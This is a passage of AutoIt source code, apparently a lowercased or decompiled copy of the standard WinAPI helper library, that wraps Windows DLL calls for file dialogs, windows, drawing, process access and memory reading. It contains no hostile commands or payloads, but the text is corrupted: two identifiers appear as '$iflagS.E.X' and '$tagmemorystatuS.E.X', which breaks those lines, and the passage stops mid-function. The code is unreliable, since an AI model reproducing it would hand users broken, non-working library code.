Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagS.E.X)
DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
If @error Then Return SetError(@error, @extended, $afiles)
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
Func _winapi_getstockobject($iobject)
Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getstdhandle($istdhandle)
If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
Local Const $ahandle[3] = [-10, -11, -12]
Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolor($iindex)
Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolorbrush($iindex)
Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsystemmetrics($iindex)
Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_gettextextentpoint32($hdc, $stext)
Local $tsize = DllStructCreate($tagsize)
Local $isize = StringLen($stext)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
If @error Then Return SetError(@error, @extended, 0)
Return $tsize
EndFunc
Func _winapi_gettextmetrics($hdc)
Local $ttextmetric = DllStructCreate($tagtextmetric)
Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ret[0] Then Return SetError(-1, 0, 0)
Return $ttextmetric
EndFunc
Func _winapi_getwindow($hwnd, $icmd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowheight($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getwindowlong($hwnd, $iindex)
Local $sfuncname = "GetWindowLongW"
If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowplacement($hwnd)
Local $twindowplacement = DllStructCreate($tagwindowplacement)
DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
If @error Then Return SetError(@error, @extended, 0)
Return $twindowplacement
EndFunc
Func _winapi_getwindowrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getwindowrgn($hwnd, $hrgn)
Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowtext($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
$ipid = $aresult[2]
Return $aresult[0]
EndFunc
Func _winapi_getwindowwidth($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
$ix = DllStructGetData($tpoint, "X")
$iy = DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_globalmemorystatus()
Local $tmem = DllStructCreate($tagmemorystatuS.E.X)
Local $imem = DllStructGetSize($tmem)
DllStructSetData($tmem, 1, $imem)
DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem)
If @error Then Return SetError(@error, @extended, 0)
Local $amem[7]
$amem[0] = DllStructGetData($tmem, 2)
$amem[1] = DllStructGetData($tmem, 3)
$amem[2] = DllStructGetData($tmem, 4)
$amem[3] = DllStructGetData($tmem, 5)
$amem[4] = DllStructGetData($tmem, 6)
$amem[5] = DllStructGetData($tmem, 7)
$amem[6] = DllStructGetData($tmem, 8)
Return $amem
EndFunc
Func _winapi_guidfromstring($sguid)
Local $tguid = DllStructCreate($tagguid)
_winapi_guidfromstringex($sguid, $tguid)
If @error Then Return SetError(@error, @extended, 0)
Return $tguid
EndFunc
Func _winapi_guidfromstringex($sguid, $pguid)
Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_hiword($ilong)
Return BitShift($ilong, 16)
EndFunc
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
If $hwnd = $hlastwnd Then Return True
For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
If $hwnd = $__gainprocess_winapi[$ii][0] Then
If $__gainprocess_winapi[$ii][1] Then
$hlastwnd = $hwnd
Return True
Else
Return False
EndIf
EndIf
Next
Local $iprocessid
_winapi_getwindowthreadprocessid($hwnd, $iprocessid)
Local $icount = $__gainprocess_winapi[0][0] + 1
If $icount >= 64 Then $icount = 1
$__gainprocess_winapi[0][0] = $icount
$__gainprocess_winapi[$icount][0] = $hwnd
$__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
Return $__gainprocess_winapi[$icount][1]
EndFunc
Func _winapi_inttofloat($iint)
Local $tint = DllStructCreate("int")
Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
DllStructSetData($tint, 1, $iint)
Return DllStructGetData($tfloat, 1)
EndFunc
Func _winapi_isclassname($hwnd, $sclassname)
Local $sseparator = Opt("GUIDataSeparatorChar")
Local $aclassname = StringSplit($sclassname, $sseparator)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $sclasscheck = _winapi_getclassname($hwnd)
For $x = 1 To UBound($aclassname) - 1
If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
Next
Return False
EndFunc
Func _winapi_iswindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_iswindowvisible($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_lineto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loadbitmap($hinstance, $sbitmap)
Local $sbitmaptype = "int"
If IsString($sbitmap) Then $sbitmaptype = "wstr"
Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
Local $aresult, $simagetype = "int"
If IsString($simage) Then $simagetype = "wstr"
$aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibrary($sfilename)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadshell32icon($iiconid)
Local $ticons = DllStructCreate("ptr Data")
Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
If @error Then Return SetError(@error, @extended, 0)
If $iicons <= 0 Then Return SetError(1, 0, 0)
Return DllStructGetData($ticons, "Data")
EndFunc
Func _winapi_loadstring($hinstance, $istringid)
Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_localfree($hmem)
Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loword($ilong)
Return BitAND($ilong, 65535)
EndFunc
Func _winapi_makelangid($lgidprimary, $lgidsub)
Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
EndFunc
Func _winapi_makelcid($lgid, $srtid)
Return BitOR(BitShift($srtid, -16), $lgid)
EndFunc
Func _winapi_makelong($ilo, $ihi)
Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
Func _winapi_makeqword($lodword, $hidword)
Local $tint64 = DllStructCreate("uint64")
Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
DllStructSetData($tdwords, 1, $lodword)
DllStructSetData($tdwords, 2, $hidword)
Return DllStructGetData($tint64, 1)
EndFunc
Func _winapi_messagebeep($itype = 1)
Local $isound
Switch $itype
Case 1
$isound = 0
Case 2
$isound = 16
Case 3
$isound = 32
Case 4
$isound = 48
Case 5
$isound = 64
Case Else
$isound = -1
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_msgbox($iflags, $stitle, $stext)
BlockInput(0)
MsgBox($iflags, $stitle, $stext & "      ")
EndFunc
Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_moveto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_muldiv($inumber, $inumerator, $idenominator)
Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
Local $stexttype = "str"
If NOT IsString($stext) Then $stexttype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $iout = $aresult[0]
Local $tout = DllStructCreate("wchar[" & $iout & "]")
$aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
If @error Then Return SetError(@error, @extended, 0)
If $bretstring Then Return DllStructGetData($tout, 1)
Return $tout
EndFunc
Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] Then Return $aresult[0]
If NOT $fdebugpriv Then Return 0
Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
If @error Then Return SetError(@error, @extended, 0)
_security__setprivilege($htoken, "SeDebugPrivilege", True)
Local $ierror = @error
Local $ilasterror = @extended
Local $iret = 0
If NOT @error Then
$aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
$ierror = @error
$ilasterror = @extended
If $aresult[0] Then $iret = $aresult[0]
_security__setprivilege($htoken, "SeDebugPrivilege", False)
If @error Then
$ierror = @error
$ilasterror = @extended
EndIf
EndIf
_winapi_closehandle($htoken)
Return SetError($ierror, $ilasterror, $iret)
EndFunc
Func __winapi_parsefiledialogpath($spath)
Local $afiles[3]
$afiles[0] = 2
Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
$afiles[1] = $stemp
$afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
Return $afiles
EndFunc
Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
Local $iextracount = 0
If IsString($aextrapaths) Then
If StringLen($aextrapaths) Then
$aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
$iextracount = UBound($aextrapaths, 1)
EndIf
ElseIf IsArray($aextrapaths) Then
$iextracount = UBound($aextrapaths)
EndIf
Local $tpaths, $tpathptrs
If $iextracount Then
Local $szstruct = ""
For $path In $aextrapaths
$szstruct &= "wchar[" & StringLen($path) + 1 & "];"
Next
$tpaths = DllStructCreate($szstruct)
$tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
For $i = 1 To $iextracount
DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
Next
DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
EndIf
Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs)
If @error Then Return SetError(@error, @extended, False)
If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
Return $aresult[1]
EndFunc
Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
Local $ix1 = DllStructGetData($trect, "Left")
Local $iy1 = DllStructGetData($trect, "Top")
Local $ix2 = DllStructGetData($trect, "Right")
Local $iy2 = DllStructGetData($trect, "Bottom")
If $fcenter Then
$ix1 = $ix1 + (($ix2 - $ix1) / 2)
$iy1 = $iy1 + (($iy2 - $iy1) / 2)
EndIf
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $ix1)
DllStructSetData($tpoint, "Y", $iy1)
Return $tpoint
EndFunc
Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_primarylangid($lgid)
Return BitAND($lgid, 1023)
EndFunc
Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
If @error Then Return SetError(1, @extended, False)
Return NOT ($aresult[0] = 0)
EndFunc
Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_rectisempty(ByRef $trect)
Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
EndFunc
Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_registerwindowmessage($smessage)
Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_releasecapture()
Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_releasedc($hwnd, $hdc)
Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_screentoclient($hwnd, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_selectobject($hdc, $hgdiobj)
Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setbkcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setbkmode($hdc, $ibkmode)
Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcapture($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcursor($hcursor)
Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setdefaultprinter($sprinter)
Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setendoffile($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setevent($hevent)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setfocus($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
_sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
EndFunc
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
If NOT $iscolorref Then
$i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1))
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setparent($hwndchild, $hwndparent)
Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setprocessaffinitymask($hprocess, $imask)
Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setsyscolors($velements, $vcolors)
Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
Local $ielementnum
If NOT $iscarray AND NOT $isearray Then
$ielementnum = 1
ElseIf $iscarray OR $isearray Then
If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
$ielementnum = UBound($velements)
EndIf
Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
If NOT $isearray Then
DllStructSetData($telements, "Element", $velements, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($telements, "Element", $velements[$x], $x + 1)
Next
EndIf
If NOT $iscarray Then
DllStructSetData($tcolors, "NewColor", $vcolors, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
Next
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_settextcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
_winapi_setlasterror(0)
Local $sfuncname = "SetWindowLongW"
If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowtext($hwnd, $stext)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_showcursor($fshow)
Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_showerror($stext, $fexit = True)
_winapi_msgbox(266256, "Error", $stext)
If $fexit Then Exit
EndFunc
Func _winapi_showmsg($stext)
_winapi_msgbox(64 + 4096, "Information", $stext)
EndFunc
Func _winapi_showwindow($hwnd, $icmdshow = 5)
Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_stringfromguid($pguid)
Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_stringlena($vstring)
Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring)
